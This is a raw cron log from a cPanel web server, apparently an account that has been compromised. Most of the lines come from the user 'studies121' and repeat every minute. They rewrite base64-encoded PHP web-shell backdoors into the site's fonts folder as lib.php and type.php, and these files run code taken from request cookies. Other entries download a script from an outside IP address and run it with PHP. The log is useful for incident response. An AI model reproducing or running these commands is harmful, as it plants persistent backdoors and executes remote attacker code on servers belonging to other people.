Sep 22 17:45:01 ip-184-168-122-23 CROND[354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:45:01 ip-184-168-122-23 CROND[356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:45:01 ip-184-168-122-23 CROND[357]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 17:45:01 ip-184-168-122-23 CROND[358]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 17:45:01 ip-184-168-122-23 CROND[361]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:46:01 ip-184-168-122-23 CROND[691]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 22 17:46:01 ip-184-168-122-23 CROND[690]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 17:46:01 ip-184-168-122-23 CROND[692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:46:01 ip-184-168-122-23 CROND[696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:46:01 ip-184-168-122-23 CROND[697]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:46:01 ip-184-168-122-23 CROND[700]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:46:01 ip-184-168-122-23 CROND[701]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 17:47:01 ip-184-168-122-23 CROND[976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:47:01 ip-184-168-122-23 CROND[978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:47:01 ip-184-168-122-23 CROND[979]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:47:01 ip-184-168-122-23 CROND[977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:48:01 ip-184-168-122-23 CROND[1161]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:48:01 ip-184-168-122-23 CROND[1162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:48:01 ip-184-168-122-23 CROND[1164]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 17:48:01 ip-184-168-122-23 CROND[1165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:48:01 ip-184-168-122-23 CROND[1166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:49:01 ip-184-168-122-23 CROND[1380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:49:01 ip-184-168-122-23 CROND[1381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:49:01 ip-184-168-122-23 CROND[1383]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:49:01 ip-184-168-122-23 CROND[1385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:50:01 ip-184-168-122-23 CROND[2203]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 17:50:01 ip-184-168-122-23 CROND[2204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:50:01 ip-184-168-122-23 CROND[2207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:50:01 ip-184-168-122-23 CROND[2206]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:50:01 ip-184-168-122-23 CROND[2205]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 17:50:01 ip-184-168-122-23 CROND[2212]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 17:50:01 ip-184-168-122-23 CROND[2211]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 17:50:01 ip-184-168-122-23 CROND[2213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:50:01 ip-184-168-122-23 CROND[2209]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 17:51:01 ip-184-168-122-23 CROND[2821]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:51:01 ip-184-168-122-23 CROND[2820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:51:01 ip-184-168-122-23 CROND[2822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:51:01 ip-184-168-122-23 CROND[2826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:52:01 ip-184-168-122-23 CROND[3418]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 17:52:01 ip-184-168-122-23 CROND[3420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:52:01 ip-184-168-122-23 CROND[3422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:52:01 ip-184-168-122-23 CROND[3423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:52:01 ip-184-168-122-23 CROND[3421]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:53:01 ip-184-168-122-23 CROND[4565]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:53:01 ip-184-168-122-23 CROND[4567]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:53:01 ip-184-168-122-23 CROND[4570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:53:01 ip-184-168-122-23 CROND[4571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:54:01 ip-184-168-122-23 CROND[5679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:54:01 ip-184-168-122-23 CROND[5681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:54:01 ip-184-168-122-23 CROND[5688]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:54:01 ip-184-168-122-23 CROND[5685]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 17:54:01 ip-184-168-122-23 CROND[5686]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:55:01 ip-184-168-122-23 CROND[7206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:55:01 ip-184-168-122-23 CROND[7205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:55:01 ip-184-168-122-23 CROND[7209]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 17:55:01 ip-184-168-122-23 CROND[7212]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:55:01 ip-184-168-122-23 CROND[7210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:55:01 ip-184-168-122-23 CROND[7213]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 17:56:02 ip-184-168-122-23 CROND[8320]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:56:02 ip-184-168-122-23 CROND[8322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:56:02 ip-184-168-122-23 CROND[8324]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:56:02 ip-184-168-122-23 CROND[8326]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 17:56:02 ip-184-168-122-23 CROND[8328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:57:01 ip-184-168-122-23 CROND[9266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
